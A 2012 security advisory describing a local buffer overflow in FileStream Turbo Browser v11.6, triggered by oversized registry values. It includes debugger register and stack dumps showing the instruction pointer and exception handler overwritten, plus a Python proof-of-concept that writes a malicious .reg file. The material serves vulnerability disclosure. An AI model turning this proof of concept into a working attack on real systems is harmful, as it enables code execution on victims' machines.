FileStream Turbo Browser v11.6 - Buffer Overflow
Apr 10, 2012 · By Julien Ahrens
ADVISORY INFORMATION
- Product: FileStream Turbo Browser v11.6
- Vendor URL: https://www.filestream.com
- Exploitation Technique: Local
- Severity: Medium
- CVSS Score: 4.4
- Status: Published
- VL-ID: 491
CREDITS
N/A
VERSIONS AFFECTED
N/A
INTRODUCTION
From editing or optimizing individual or groups of digital photos to managing all your PDF and Office Documents, this multiple award winning software lets you organize, group convert and optimize, create DVD/CD, slideshow, group rename, change file properties, print, compress, upload, download, publish Web sites, plus edit HTML, script, text, RTF, and HEX in its color coded editor. There is no other software that lets you do so much all in one place. This latest new release supports all popular digital camera RAW formats; it also supports burning to Blu-ray and HD-DVD discs.
Photo Editing - The new Digital Darkroom feature offers you many essential quick fix photo editing tools from single click red eye removal button, auto-fix buttons, to color adjustment sliders for you to improve your photos in a snap. You, as a photography enthusiast, can now manually change white balance, use fill flash, back lighting, and color cast removal tools along with the original shooting information and histogram to fine tune pictures. This new release continues to let you batch convert, optimize, resize, reduce file size, and print single or groups of photos and images.
Manage Documents with a Star - From Acrobat PDF to Office Documents, like Word Processing, Spreadsheet, PowerPoint, it offers you all the essential tools you need to find, view, print, organize, launch and work with them conveniently in one program. Supports internal viewing of 200+ formats. You can mark or tag your frequently used or favorite files with a Star so you can quickly pull them out when you need them. You can also display and reference your file list by Timeline.
Organize and Create DVD/CD - The Organize Wizard lets you organize your photos by name, event, time, or location. Most digital cameras list your photos with serial number style names, which is very hard, if not impossible, to figure out which photo is which. With the additional file management tools like group rename, batch print, zip, unzip, and change file properties, you can organize photos and documents on your hard drives and network fast and easy. Burn them onto DVD/CD with Verify to secure backup protection. You can also create your own Slideshow with just a couple clicks.
Remote Upload, Download, and Publish - You can upload files and images to and download from servers. You can preview and edit before and after the transfer. It supports Quick Publishing for direct editing files on hosting servers.
Color coded HTML, RTF, Text, Script, and Hex Editors - Turbo Browser includes CodeWorks, which is an easy to use, fast and simple HTML and code editor with built-in HTML Helper and side-by side source and Web view. Its friendly assistant helps to make creating and editing code a much easier task.
(Copy of the Vendor Homepage: http://www.filestream.com )
VULNERABILITY DETAILS
A Vulnerability Laboratory Researcher discovered a Local Buffer Overflow vulnerability on FileStream Turbo Browser v11.6
A Buffer Overflow vulnerability is detected on FileStream Turbo Browser v11.6 (current version). The vulnerability is located in the main executeable turbob.exe. During the start of the application different values are read from the registry:
- Name from [HKEY_CURRENT_USER/Software/FileStream/Turbo Browser/Log]
- /MyFolder0/, /MyFolder1/ from [HKEY_CURRENT_USER/Software/FileStream\\/Turbo Browser/MyRecent Folder List0]
When inserting an oversized value to the registry values a buffer overflow is triggered. The victim only needs to start the application.
Vulnerable Module(s): [+] Reg-keys: MyFolder0, MyFolder1, Name
— Debugger Logs —
#Disassembly:
7C9132A6 FFD1 CALL ECX
7C9132A8 64:8B25 00000000 MOV ESP,DWORD PTR FS:[0]
7C9132AF 64:8F05 00000000 POP DWORD PTR FS:[0]
7C9132B6 8BE5 MOV ESP,EBP
7C9132B8 5D POP EBP
7C9132B9 C2 1400 RETN 14
7C9132BC 8B4C24 04 MOV ECX,DWORD PTR SS:[ESP+4]
7C9132C0 F741 04 06000000 TEST DWORD PTR DS:[ECX+4],6
7C9132C7 B8 01000000 MOV EAX,1
7C9132CC 75 12 JNZ SHORT ntdll.7C9132E0
7C9132CE 8B4C24 08 MOV ECX,DWORD PTR SS:[ESP+8]
7C9132D2 8B5424 10 MOV EDX,DWORD PTR SS:[ESP+10]
7C9132D6 8B41 08 MOV EAX,DWORD PTR DS:[ECX+8]
7C9132D9 8902 MOV DWORD PTR DS:[EDX],EAX
7C9132DB B8 02000000 MOV EAX,2
7C9132E0 C2 1000 RETN 10
#Registers:
EAX 00000000
ECX 42424242
EDX 7C9132BC ntdll.7C9132BC
EBX 00000000
ESP 0012F700
EBP 0012F720
ESI 00000000
EDI 00000000
EIP 42424242
#Dump:
0012FC44 41 41 41 41 41 41 41 41 AAAAAAAA
0012FC4C 41 41 41 41 41 41 41 41 AAAAAAAA
0012FC54 41 41 41 41 41 41 41 41 AAAAAAAA
0012FC5C 41 41 41 41 42 42 42 42 AAAABBBB
0012FC64 00 43 43 43 43 43 43 43 .CCCCCCC
0012FC6C 43 43 43 43 43 43 43 43 CCCCCCCC
0012FC74 43 43 43 43 43 43 43 43 CCCCCCCC
#Stack:
0012F6E8 0012FC5C ASCII AAAABBBB
0012F6EC 00140000
0012F6F0 001F0520
0012F6F4 0012F708
0012F6F8 7C91D80A ntdll.7C91D80A
0012F6FC 7C9601E1 ntdll.7C9601E1
0012F700 7C9132A8 RETURN to ntdll.7C9132A8
0012F704 0012F7E8
0012F708 0012FC5C ASCII AAAABBBB
0012F70C 0012F804
0012F710 0012F7BC
0012F714 0012FC5C Pointer to next SEH record
0012F718 7C9132BC SE handler
Picture(s): ../1.png
PROOF OF CONCEPT
The vulnerability can be exploited by local attackers. For demonstration or reproduce …
#!/usr/bin/python
# Exploit Title: FileStream Turbo Browser v11.6 Local Buffer Overflow Vulnerability
# Version: 11.6
# Author: Julien Ahrens
# Homepage: http://www.inshell.net
# Software Link: http://www.filestream.com
# Notes: Vulnerable Reg-keys: MyFolder0, MyFolder1, Name
# Howto: Import Reg -> Start App
file="poc.reg"
junk1="\x41" * 268
boom="\x42\x42\x42\x42"
junk2="\x43" * 100
poc="Windows Registry Editor Version 5.00\n\n"
poc=poc + "[HKEY_CURRENT_USER\Software\FileStream\Turbo Browser\Log]\n"
poc=poc + "\"Name\"=\"" + junk1 + boom + junk2 + "\""
try:
print "[*] Creating exploit file...\n";
writeFile = open (file, "w")
writeFile.write( poc )
writeFile.close()
print "[*] File successfully created!";
except:
print "[!] Error while creating file!";
SOLUTION
N/A
REPORT TIMELINE
- 2012-04-04: Vendor Notification 1
- 2012-04-05: Vendor Notification 2
- 2012-04-06: Vendor Notification 3
- 2012-04-11: Public or Non-Public Disclosure